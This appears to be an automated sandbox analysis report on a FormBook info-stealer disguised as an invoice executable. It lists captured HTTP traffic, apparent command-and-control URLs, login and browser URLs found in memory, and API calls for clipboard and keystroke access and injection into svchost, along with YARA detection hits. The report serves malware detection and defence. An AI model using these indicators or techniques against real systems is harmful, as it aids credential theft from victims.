3c 2f 66 6f 72 6d 3e 0d 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 61 72 72 6f 77 22 3e 3c 2f 73 70 61 6e 3e 47 6f 20 42 61 63 6b 3c 2f 61 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Poppins:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/404.css" /></
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 14:54:43 GMTServer: ApacheContent-Length: 815Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 50 6f 70 70 69 6e 73 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 30 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 4f 6f 70 73 2c 20 54 68 65 20 50 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 63 61 6e 27 74 20 62 65 20 66 6f 75 6e 64 21 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 53 65 61 72 63 68 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 61 72 72 6f 77 22 3e 3c 2f 73 70 61 6e 3e 47 6f 20 42 61 63 6b 3c 2f 61 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Poppins:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 14:54:49 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l1fjO8fMoIigrL3me44ZNTzh%2For1TV6IEOrQV1EEZo0VEutmpH9R%2FYOXnTxSZm%2FsZwefYjCRZY5LIB1jFDMrejCLqKoNZcZdK%2BijHHLhHx1bmeeDOq0vH8lSGsAFF2%2FaunqBmMYDaGINri0%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d830b43fe9a6c6e-DFWContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1187&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=771&delivery_rate=0&cwnd=234&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 65 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 54 90 c1 6e c2 30 10 44 ef f9 8a 29 e7 96 85 8a a3 65 a9 25 41 20 a5 14 55 e1 d0 a3 c1 5b 6c 29 d8 d4 d9 14 e5 ef ab 98 4a 6d af b3 6f 76 67 56 dd 95 af cb e6 7d 57 61 dd bc d4 d8 ed 9f eb cd 12 93 07 a2 4d d5 ac 88 ca a6 bc 4d 1e a7 33 a2 6a 3b d1 85 72 72 6e b5 72 6c ac 2e 94 78 69 59 2f 66 0b 6c a3 60 15 fb 60 15 dd c4 42 51 86 d4 21 da 61 f4 cd f5 1f c6 cd 75 a1 2e ba 71 8c c4 9f 3d 77 c2 16 fb b7 1a 57 d3 21 44 c1 c7 c8 21 06 88 f3 1d 3a 4e 5f 9c a6 8a 2e d9 f6 64 ad 17 1f 83 69 db e1 1e 06 ff 02 14 9c 52 4c 79 11 87 63 ec 83 70 62 8b ab f3 2d 43 d2 e0 c3 09 12 d1 77 0c 13 50 8d 70 19 8f fd 99 83 8c ba 33 c1 8e e0 6f b2 9f b3 94 8b 28 ca 0f f8 06 00 00 ff ff 0d 0a 62 0d 0a e3 02 00 59 3c e4 fe 3b 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: eaTn0D)e%A U[l)JmovgV}WaMM3j;rrnrl.xiY/fl``BQ!au.q=wW!D!:N_.diRLycpb-CwPp3o(bY<;0
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 14:54:51 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MVRTleYTlOJ0val9%2FcEcYoS1uTsbBPT5YckgnY0BqGrj2ySXEknYDvWnSpx4H67KRQuY21YKY%2BX59o6Hvv0uusIwSaWX3KAOaIslhzvSVUntPsEQ5LjIPkSrOFR0e1pDbAEH8UWhZGdODw8%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d830b542d353172-DFWContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1197&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=791&delivery_rate=0&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 66 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 54 90 c1 6e c2 30 10 44 ef f9 8a 29 e7 96 85 8a a3 65 a9 25 41 20 a5 14 55 e1 d0 a3 c1 5b 6c 29 d8 d4 d9 14 e5 ef ab 98 4a 6d af b3 6f 76 67 56 dd 95 af cb e6 7d 57 61 dd bc d4 d8 ed 9f eb cd 12 93 07 a2 4d d5 ac 88 ca a6 bc 4d 1e a7 33 a2 6a 3b d1 85 72 72 6e b5 72 6c ac 2e 94 78 69 59 2f 66 0b 6c a3 60 15 fb 60 15 dd c4 42 51 86 d4 21 da 61 f4 cd f5 1f c6 cd 75 a1 2e ba 71 8c c4 9f 3d 77 c2 16 fb b7 1a 57 d3 21 44 c1 c7 c8 21 06 88 f3 1d 3a 4e 5f 9c a6 8a 2e d9 f6 64 ad 17 1f 83 69 db e1 1e 06 ff 02 14 9c 52 4c 79 11 87 63 ec 83 70 62 8b ab f3 2d 43 d2 e0 c3 09 12 d1 77 0c 13 50 8d 70 19 8f fd 99 83 8c ba 33 c1 8e e0 6f b2 9f b3 94 8b 28 ca 0f f8 06 00 00 ff ff e3 02 00 59 3c e4 fe 3b 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: f5Tn0D)e%A U[l)JmovgV}WaMM3j;rrnrl.xiY/fl``BQ!au.q=wW!D!:N_.diRLycpb-CwPp3o(Y<;0
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 14:54:54 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nm4ftVKeTHPbR4R1qb3rfucJmrI%2Fg2vMMYIO65QzSZROZcNRnZ2shU8V251f5kGzYUsoXRYAJrI1CAtgz%2F%2Bmin2qQjTXF7YU2eRE2LJsCOHmSmUSnDVY0wlJRNo5ioosuDW7U%2Ff0dk5hTDQ%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d830b63cbaf6b28-DFWContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1820&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1808&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 66 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 54 90 c1 6e c2 30 10 44 ef f9 8a 29 e7 96 85 8a a3 65 a9 25 41 20 a5 14 55 e1 d0 a3 c1 5b 6c 29 d8 d4 d9 14 e5 ef ab 98 4a 6d af b3 6f 76 67 56 dd 95 af cb e6 7d 57 61 dd bc d4 d8 ed 9f eb cd 12 93 07 a2 4d d5 ac 88 ca a6 bc 4d 1e a7 33 a2 6a 3b d1 85 72 72 6e b5 72 6c ac 2e 94 78 69 59 2f 66 0b 6c a3 60 15 fb 60 15 dd c4 42 51 86 d4 21 da 61 f4 cd f5 1f c6 cd 75 a1 2e ba 71 8c c4 9f 3d 77 c2 16 fb b7 1a 57 d3 21 44 c1 c7 c8 21 06 88 f3 1d 3a 4e 5f 9c a6 8a 2e d9 f6 64 ad 17 1f 83 69 db e1 1e 06 ff 02 14 9c 52 4c 79 11 87 63 ec 83 70 62 8b ab f3 2d 43 d2 e0 c3 09 12 d1 77 0c 13 50 8d 70 19 8f fd 99 83 8c ba 33 c1 8e e0 6f b2 9f b3 94 8b 28 ca 0f f8 06 00 00 ff ff e3 02 00 59 3c e4 fe 3b 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: f5Tn0D)e%A U[l)JmovgV}WaMM3j;rrnrl.xiY/fl``BQ!au.q=wW!D!:N_.diRLycpb-CwPp3o(Y<;0
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 14:54:56 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y2reWI7Jj%2FzMi6vcz0kr05c6p0rL96oWLfHxUXRGJpGD9iUC7LlmF%2FEdd1X3HOxWPXnf1FicQFu0ipvYoivETXQ6TptHCxCntDSymi%2FVKENUbuxnubxup0d%2FaVynCHfJrfY4NPq%2Fd8yEwF8%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d830b73b98846e0-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1142&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=500&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 33 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 13b<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>0
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 25 Oct 2024 14:55:16 GMTContent-Type: text/htmlContent-Length: 138Connection: closeETag: "6692510a-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 25 Oct 2024 14:55:18 GMTContent-Type: text/htmlContent-Length: 138Connection: closeETag: "6692510a-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 25 Oct 2024 14:55:21 GMTContent-Type: text/htmlContent-Length: 138Connection: closeETag: "6692510a-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 25 Oct 2024 14:55:24 GMTContent-Type: text/htmlContent-Length: 138Connection: closeETag: "6692510a-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: sxstrace.exe, 00000005.00000002.3929016472.0000000004CC4000.00000004.10000000.00040000.00000000.sdmp, yCokjJdvaMLab.exe, 00000006.00000002.3928534258.0000000002D94000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2591250492.000000002D644000.00000004.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.caprinaday.net:80/jb8r/?zB=nPlhZPwp4vxtG8&amp;fnr=TDGhLsnTem6euQMJN5SR1/vZdrcnvuH3b9u1dtl
                Source: yCokjJdvaMLab.exe, 00000006.00000002.3930347018.0000000004E5A000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.co2cartridges.net
                Source: yCokjJdvaMLab.exe, 00000006.00000002.3930347018.0000000004E5A000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.co2cartridges.net/rkra/
                Source: yCokjJdvaMLab.exe, 00000006.00000002.3928534258.000000000324A000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: http://www.senova.com/5vx4/?fnr=F
                Source: sxstrace.exe, 00000005.00000003.2486033445.000000000755E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
                Source: sxstrace.exe, 00000005.00000003.2486033445.000000000755E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
                Source: sxstrace.exe, 00000005.00000003.2486033445.000000000755E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
                Source: sxstrace.exe, 00000005.00000003.2486033445.000000000755E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
                Source: sxstrace.exe, 00000005.00000003.2486033445.000000000755E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
                Source: sxstrace.exe, 00000005.00000003.2486033445.000000000755E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
                Source: sxstrace.exe, 00000005.00000003.2486033445.000000000755E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
                Source: sxstrace.exe, 00000005.00000002.3929016472.000000000549E000.00000004.10000000.00040000.00000000.sdmp, yCokjJdvaMLab.exe, 00000006.00000002.3928534258.000000000356E000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://fonts.googleapis.com/css?family=Poppins:400
                Source: sxstrace.exe, 00000005.00000002.3927487929.0000000002626000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
                Source: sxstrace.exe, 00000005.00000002.3927487929.0000000002626000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
                Source: sxstrace.exe, 00000005.00000002.3927487929.0000000002626000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
                Source: sxstrace.exe, 00000005.00000002.3927487929.0000000002626000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
                Source: sxstrace.exe, 00000005.00000002.3927487929.0000000002626000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
                Source: sxstrace.exe, 00000005.00000002.3927487929.0000000002626000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
                Source: sxstrace.exe, 00000005.00000003.2481124789.0000000007532000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
                Source: sxstrace.exe, 00000005.00000003.2486033445.000000000755E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
                Source: sxstrace.exe, 00000005.00000002.3929016472.00000000057C2000.00000004.10000000.00040000.00000000.sdmp, sxstrace.exe, 00000005.00000002.3931207613.00000000072B0000.00000004.00000800.00020000.00000000.sdmp, yCokjJdvaMLab.exe, 00000006.00000002.3928534258.0000000003892000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.google.com
                Source: sxstrace.exe, 00000005.00000003.2486033445.000000000755E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,0_2_0046C5D0
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_00459FFF OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_00459FFF
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,0_2_0046C5D0
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_00456354 GetCursorPos,ScreenToClient,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetWindowLongW,0_2_00456354
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0047C08E SendMessageW,DefDlgProcW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,0_2_0047C08E

                E-Banking Fraud

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000002.00000002.2300395624.0000000005ED0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3930347018.0000000004DE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.2293797981.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3928315722.0000000004050000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3927412255.0000000002570000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3927066611.0000000000120000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.2294470573.0000000003350000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000003.00000002.3928342206.00000000026C0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

                System Summary

                barindex
                Initial sample is a PE file and has a suspicious name
                Source: initial sampleStatic PE information: Filename: 19387759999PO-RFQ-INVOICE-doc.exe
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0042CAC3 NtClose,2_2_0042CAC3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072B60 NtClose,LdrInitializeThunk,2_2_03072B60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072DF0 NtQuerySystemInformation,LdrInitializeThunk,2_2_03072DF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072C70 NtFreeVirtualMemory,LdrInitializeThunk,2_2_03072C70
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030735C0 NtCreateMutant,LdrInitializeThunk,2_2_030735C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03074340 NtSetContextThread,2_2_03074340
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03074650 NtSuspendThread,2_2_03074650
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072B80 NtQueryInformationFile,2_2_03072B80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072BA0 NtEnumerateValueKey,2_2_03072BA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072BE0 NtQueryValueKey,2_2_03072BE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072BF0 NtAllocateVirtualMemory,2_2_03072BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072AB0 NtWaitForSingleObject,2_2_03072AB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072AD0 NtReadFile,2_2_03072AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072AF0 NtWriteFile,2_2_03072AF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072F30 NtCreateSection,2_2_03072F30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072F60 NtCreateProcessEx,2_2_03072F60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072F90 NtProtectVirtualMemory,2_2_03072F90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072FA0 NtQuerySection,2_2_03072FA0
